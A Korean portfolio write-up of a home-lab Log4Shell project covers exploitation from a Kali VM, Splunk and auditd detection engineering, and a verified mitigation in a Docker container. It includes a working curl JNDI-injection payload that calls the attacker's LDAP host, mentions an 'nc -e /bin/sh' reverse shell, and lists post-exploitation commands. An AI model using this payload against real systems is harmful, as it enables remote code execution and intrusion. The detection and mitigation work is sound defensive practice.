
Log4Shell 악용, Splunk 및 auditd를 활용한 탐지 엔지니어링, 컨테이너 환경에서의 검증된 완화 조치를 시연하는 실습형 프로젝트입니다.
Log4Shell 취약점의 전체 수명 주기를 시뮬레이션하는 실습형 공격·방어 보안 프로젝트: 공격자 제어 VM에서의 악용, Splunk에서의 탐지 엔지니어링, 그리고 검증된 대응까지 다룹니다.
이 분야의 대부분의 포트폴리오 프로젝트는 SSH 무차별 대입 공격을 다룹니다. 저는 더 포괄적인 기술 세트를 보여줄 수 있는 것을 원했습니다: 실제 영향력이 큰 CVE를 처음부터 끝까지 악용한 다음, 방어 측면으로 전환하여 이를 탐지하고 대응하는 것, 즉 보안 엔지니어나 탐지 엔지니어가 실제 업무에서 수행하는 것과 동일한 수명 주기를 경험하는 것입니다.
illshot (192.168.1.85), 로그 수집 및 탐지를 위해 Splunk를 네이티브로 실행ghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181)이 Docker 컨테이너에서 실행되며, --log-driver=syslog를 통해 로그가 Mint의 syslog로 파이프됨1. 리스너 및 악용 도구 설정. Kali에서 역방향 셸 콜백을 받기 위해 netcat 리스너를 시작한 다음, 사전 빌드된 릴리스가 없어 소스에서 직접 빌드한 자체 제작 JNDI-Injection-Exploit 도구를 실행하여 악성 LDAP 페이로드를 제공했습니다.

2. 악용 코드 전송. JNDI 조회 문자열이 포함된 조작된 HTTP 헤더를 통해 페이로드를 전달하여 포트 8080의 취약 애플리케이션을 대상으로 했습니다.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. 셸 확보. 취약 애플리케이션이 헤더를 파싱하고 JNDI 조회를 트리거하여 Kali 머신에 다시 연결해 악성 클래스를 가져와 실행했으며, 그 결과 컨테이너 내부에서 root 권한으로 실행되는 역방향 셸이 생성되었습니다.

악용 후 정찰(실제 공격자가 수행하는 방식): root 접근을 확인하고, 환경 변수를 검토했으며(깨끗함, 유출된 비밀 없음), 애플리케이션 jar를 검사하고, /etc/passwd를 검토하여 실제 공격 표면을 반영하지 않는 오해를 불러일으키는 정찰 산출물의 좋은 예인 사용되지 않는 Alpine 기본 이미지 서비스 계정 집합을 발견했습니다.
Mint의 syslog를 수집하는 Splunk는 전체 공격 체인을 포착했습니다: 초기 JNDI 조회 요청, 그로 인한 NamingException 및 ClassCastException 스택 추적, 그리고 호스트 수준에서 컨테이너와 상호작용하는 데 사용된 관련 sudo docker exec 명령까지 모두 확인되었습니다.

악용 이전에도 정찰 활동이 보였습니다: UFW 방화벽 로그가 대상에 대한 Kali의 Nmap 스캔 트래픽을 포착했습니다.

이 프로젝트의 핵심 기술적 발견: 원시 nc -e /bin/sh 역방향 셸은 PAM을 통해 인증하지 않으므로 auth.log에 항목을 생성하지 않으며 로그인 세션도 전혀 만들지 않습니다. 그 자체로는 이러한 종류의 셸이 표준 로그인 기반 로깅에 보이지 않게 됩니다.
그러나 Docker 컨테이너는 완전히 격리된 가상화 커널을 실행하는 대신 호스트의 커널을 공유합니다. 즉, 컨테이너 내부의 모든 execve(프로세스 실행)는 여전히 호스트의 감사 하위 시스템에 표시됩니다. Mint에서 auditd를 구성하여 시스템 전체에서 execve 시스템 콜을 감시하도록 하고, 규칙에 태그(container_exec)를 지정한 다음 /var/log/audit/audit.log를 새 입력으로 Splunk에 공급했습니다.

악용을 다시 트리거하고 악용 후 명령(whoami, cat /etc/passwd, ls /app, env)을 실행하여 이론을 확인했습니다: auditd가 모든 명령을 포착했으며, 원시 nc 역방향 셸 호출 자체도 포함하여 공격자의 IP와 포트가 로깅된 인수에 직접 표시되었습니다.

더 광범위한 악용 후 활동도 완전히 표시되었으며, /bin/busybox 아래에서 실행되었습니다(컨테이너의 최소 셸은 대부분의 Unix 도구를 단일 BusyBox 바이너리에 대한 심볼릭 링크로 구현하므로 comm은 busybox를 표시하지만 exe는 여전히 전체 경로를 해석합니다):

주목할 만한 추가 세부 사항: 포착된 모든 이벤트는 auid=4294967295(설정되지 않음/로그인 세션 없음)와 uid=0(root)이 쌍으로 표시되었습니다. 이 조합 자체는 인증되지 않은 셸의 강력한 증거입니다. 즉, 정상적인 인증을 완전히 우회한 셸에서 기대할 수 있는 것과 정확히 일치하는, 감사 로그인 ID가 전혀 없지만 전체 root 권한으로 실행되는 프로세스입니다.
핵심 탐지 쿼리:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
패치된 Log4j 릴리스에 앞서 Apache와 CISA가 발표한 공식 임시 완화 조치를 적용했습니다: JVM 시스템 속성을 통한 JNDI 메시지 조회 비활성화.
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
대응 후 정확히 동일한 악용 체인을 다시 시도하여 수정 사항을 확인했습니다: 요청은 여전히 도착하여 로깅되었지만 JNDI 조회는 평가되지 않았으며, 콜백도, 스택 추적도, 셸도 없었습니다.

이 비교는 이 프로젝트의 가장 명확한 증거입니다: 원래 공격은 136개 이상의 관련 로그 이벤트와 성공적인 콜백을 포함한 전체 악용 체인을 생성했습니다. 대응 후에는 동일한 공격이 다운스트림 조회 활동 없이 단일 무해한 로그 라인만 생성합니다.
심층 방어 측면에서 주목할 점: 대응 후에도 악용 시도는 로그에 계속 표시되었습니다. 취약점이 패치된 후에도 탐지 가치는 사라지지 않습니다. 나중에 잘못 구성된 패치된 시스템이나 변형 페이로드도 여기서 구축된 동일한 탐지 쿼리로 여전히 포착될 것입니다.